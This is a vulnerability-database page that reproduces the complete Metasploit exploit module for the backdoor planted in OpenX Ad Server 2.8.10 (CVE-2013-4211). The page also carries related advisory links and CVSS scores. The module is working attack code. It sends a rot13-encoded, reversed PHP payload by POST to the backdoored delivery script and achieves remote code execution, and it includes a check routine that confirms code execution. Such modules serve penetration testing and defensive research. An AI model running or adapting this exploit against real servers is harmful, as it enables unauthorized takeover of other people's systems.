Lucene search
+L

OpenX Backdoor PHP Code Execution

🗓️ 07 Aug 2013 00:00:00Reported by egypt <[email protected]>, UnknownType 
metasploit
 metasploit
🔗 www.rapid7.com👁 64 Views

OpenX Backdoor PHP Code Execution in Ad Server v2.8.10 from 2012-201

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
OpenX Backdoor PHP Code Execution Vulnerability
9 Aug 201300:00
zdt
circl
Circl
CVE-2013-4211
12 Aug 201300:00
circl
checkpoint_advisories
Check Point Advisories
OpenX Ad Server Backdoor PHP Code Execution (CVE-2013-4211)
3 Nov 201300:00
checkpoint_advisories
cve
CVE
CVE-2013-4211
14 Feb 202019:59
cve
cvelist
Cvelist
CVE-2013-4211
14 Feb 202019:59
cvelist
exploitdb
Exploit DB
OpenX - Backdoor PHP Code Execution (Metasploit)
12 Aug 201300:00
exploitdb
nvd
NVD
CVE-2013-4211
14 Feb 202020:15
nvd
openvas
OpenVAS
OpenX 'flowplayer-3.1.1.min.js' Backdoor Vulnerability
9 Aug 201300:00
openvas
nessus
Tenable Nessus
OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution
15 Aug 201300:00
nessus
packetstorm
Packet Storm
OpenX Backdoor PHP Code Execution
9 Aug 201300:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenX Backdoor PHP Code Execution',
        'Description' => %q{
          OpenX Ad Server version 2.8.10 was shipped with an obfuscated
          backdoor since at least November 2012 through August 2013.
          Exploitation is simple, requiring only a single request with a
          rot13'd and reversed payload.
        },
        'Author' => [
          'egypt', # Metasploit module, shouts to bperry for hooking me up with the vuln software
          'Unknown', # Someone planted this backdoor...
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2013-4211' ],
          [ 'OSVDB', '96073' ],
          [ 'URL', 'http://www.heise.de/security/meldung/Achtung-Anzeigen-Server-OpenX-enthaelt-eine-Hintertuer-1929769.html'],
          [ 'URL', 'http://forum.openx.org/index.php?showtopic=503521628'],
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          # Arbitrary big number. The payload gets sent as POST data, so
          # really it's unlimited
          'Space' => 262144, # 256k
        },
        'DisclosureDate' => '2013-08-07',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [[ 'Generic (PHP payload)', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, "The URI to request", "/openx/"]),
    ])
  end

  def check
    token = rand_text_alpha(20)
    response = execute_php("echo '#{token} '.phpversion();die();")

    if response.nil?
      return CheckCode::Unknown('No response received from the target')
    elsif response.body =~ /#{token} ((:?\d\.?)+)/
      vprint_status("PHP Version #{$1}")
      return CheckCode::Vulnerable('Successfully verified code execution on the target')
    end
    return CheckCode::Safe('The target version is not vulnerable')
  end

  def exploit
    execute_php(payload.encoded)

    handler
  end

  def execute_php(php_code)
    money = rot13(php_code.reverse)
    begin
      response = send_request_cgi({
        'method' => "POST",
        'global' => true,
        'uri' => normalize_uri(target_uri.path, "www", "delivery", "fc.php"),
        'vars_get' => {
          'file_to_serve' => "flowplayer/3.1.1/flowplayer-3.1.1.min.js",
          'script' => 'deliveryLog:vastServeVideoPlayer:player'
        },
        'vars_post' => {
          'vastPlayer' => money
        },
      }, 0.1)
    rescue ::Rex::ConnectionError => e
      fail_with(Failure::Unreachable, e.message)
    rescue ::OpenSSL::SSL::SSLError
      fail_with(Failure::BadConfig, "The target failed to negotiate SSL, is this really an SSL service?")
    end

    response
  end

  def rot13(str)
    str.tr! "A-Za-z", "N-ZA-Mn-za-m"
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Aug 2013 00:00Current
8.6High risk
Vulners AI Score8.6
CVSS 27.5
CVSS 3.19.8
EPSS0.70653
64